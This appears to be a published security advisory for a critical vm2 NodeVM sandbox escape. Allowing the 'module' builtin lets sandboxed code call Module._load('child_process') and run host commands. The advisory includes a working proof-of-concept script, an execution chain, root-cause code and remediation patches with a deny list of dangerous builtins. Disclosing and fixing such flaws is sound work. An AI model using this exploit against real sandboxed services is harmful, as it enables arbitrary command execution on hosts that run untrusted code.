vm2 has a NodeVM builtin allowlist bypass via `module` builtin's `Module._load` that allows sandbox escape

Summary

NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution.

Severity

Critical (CVSS 3.1: 9.9)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

• Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
• Attack Complexity: Low — no special conditions required; ['*', '-child_process'] is a common, documented pattern
• Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
• User Interaction: None
• Scope: Changed — escape from sandbox boundary to host system
• Confidentiality Impact: High — arbitrary command execution on the host
• Integrity Impact: High — arbitrary command execution on the host
• Availability Impact: High — arbitrary command execution on the host

Affected Component

• lib/builtin.js — makeBuiltinsFromLegacyOptions() (lines 109-117) — includes module in '*' expansion
• lib/builtin.js — addDefaultBuiltin() (lines 86-90) — loads module with generic readonly wrapper
• lib/builtin.js — SPECIAL_MODULES (line 61) — does NOT include module

CWE

• CWE-863: Incorrect Authorization

Description

Root Cause: The module builtin provides unrestricted host module loading

When builtin: ['*', '-child_process'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTIN_MODULES and adds all modules not explicitly excluded:

// lib/builtin.js:40
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s=>!s.startsWith('internal/'));

// lib/builtin.js:109-117
if (Array.isArray(builtins)) {
    const def = builtins.indexOf('*') >= 0;
    if (def) {
        for (let i = 0; i < BUILTIN_MODULES.length; i++) {
            const name = BUILTIN_MODULES[i];
            if (builtins.indexOf(`-${name}`) === -1) {
                addDefaultBuiltin(res, name, hostRequire);
            }
        }
    }

Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-child_process' is excluded, 'module' passes the filter and gets added.

The module builtin is NOT in SPECIAL_MODULES (which only covers events, buffer, util), so it gets the generic loader:

// lib/builtin.js:86-90
function addDefaultBuiltin(builtins, key, hostRequire) {
    if (builtins.has(key)) return;
    const special = SPECIAL_MODULES[key];
    builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
}

This wraps Node's Module class in a readonly proxy and hands it to the sandbox.

The readonly proxy does not prevent method calls

ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.

BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:

apply(target, context, args) {
    const object = getHandlerObject(this);
    let ret;
    try {
        context = otherFromThis(context);
        args = otherFromThisArguments(args);
        ret = otherReflectApply(object, context, args);
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
    return thisFromOther(ret);
}

So Module._load('child_process') is forwarded to Node's native Module._load in the host context, which loads child_process without any vm2 allowlist check.

Inconsistent defense: some builtins are isolated, module is not

The codebase IS aware that certain builtins need special handling:

• events: Gets a complete sandbox-native reimplementation via lib/events.js
• buffer: Custom loader that only exposes the Buffer class
• util: Custom loader that replaces inherits with a sandbox-safe version

But module — which provides access to the host's entire module loading infrastructure via Module._load, Module._resolveFilename, etc. — gets no special treatment at all.

Full execution chain

1. Host configures NodeVM with builtin: ['*', '-child_process']
2. makeBuiltinsFromLegacyOptions adds 'module' to allowed builtins (not excluded)
3. Sandbox code calls require('module') → resolver finds 'module' in builtins → loadBuiltinModule('module')
4. Loader calls vm.readonly(hostRequire('module')) → returns readonly proxy of Node's Module class
5. Sandbox reads Module._load → BaseHandler.get() returns proxied function
6. Sandbox calls Module._load('child_process') → BaseHandler.apply() forwards to host
7. Host's Module._load loads child_process natively (no vm2 check involved)
8. child_process module proxied back to sandbox
9. Sandbox calls child_process.execSync('id') → executes on host → RCE

Proof of Concept

const { NodeVM } = require('vm2');

// Developer thinks child_process is blocked
const vm = new NodeVM({
  require: {
    builtin: ['*', '-child_process'],
    external: false,
  },
});

const out = vm.run(`
  const Module = require('module');
  // Module._load bypasses vm2's builtin allowlist entirely
  const cp = Module._load('child_process');
  module.exports = cp.execSync('id').toString();
`, 'poc.js');

console.log(out.trim()); // prints host uid/gid — RCE achieved

Impact

• Complete builtin allowlist bypass: Any configuration that allows the module builtin (including ['*', '-X'] patterns) can load ANY builtin, including explicitly excluded ones.
• Remote code execution: Sandboxed code can execute arbitrary commands on the host via child_process.execSync.
• Common configuration affected: The ['*', '-child_process', '-fs'] pattern is documented and widely used by developers who want "all builtins except dangerous ones."
• No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the '*' wildcard.
• Additional attack surfaces via module: Beyond _load, the Module class also exposes _resolveFilename, _cache, _pathCache, and other internals that could be abused.

Recommended Remediation

Option 1: Exclude module from BUILTIN_MODULES entirely (Preferred)

The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:

// lib/builtin.js:40
const DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);

const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));

This prevents module from being included even with the '*' wildcard. Consider also blocking worker_threads and cluster which can spawn processes.

Option 2: Add module to SPECIAL_MODULES with a safe wrapper

If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:

// lib/builtin.js
const SPECIAL_MODULES = {
    events: { /* ... existing ... */ },
    buffer: defaultBuiltinLoaderBuffer,
    util: defaultBuiltinLoaderUtil,
    module: function defaultBuiltinLoaderModule(vm) {
        // Only expose safe, read-only metadata — no _load, no _resolveFilename
        return vm.readonly({
            builtinModules: [...nmod.builtinModules],
            // Omit _load, _resolveFilename, _cache, createRequire, etc.
        });
    }
};

Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.

Credit

This vulnerability was discovered and reported by bugbunny.ai.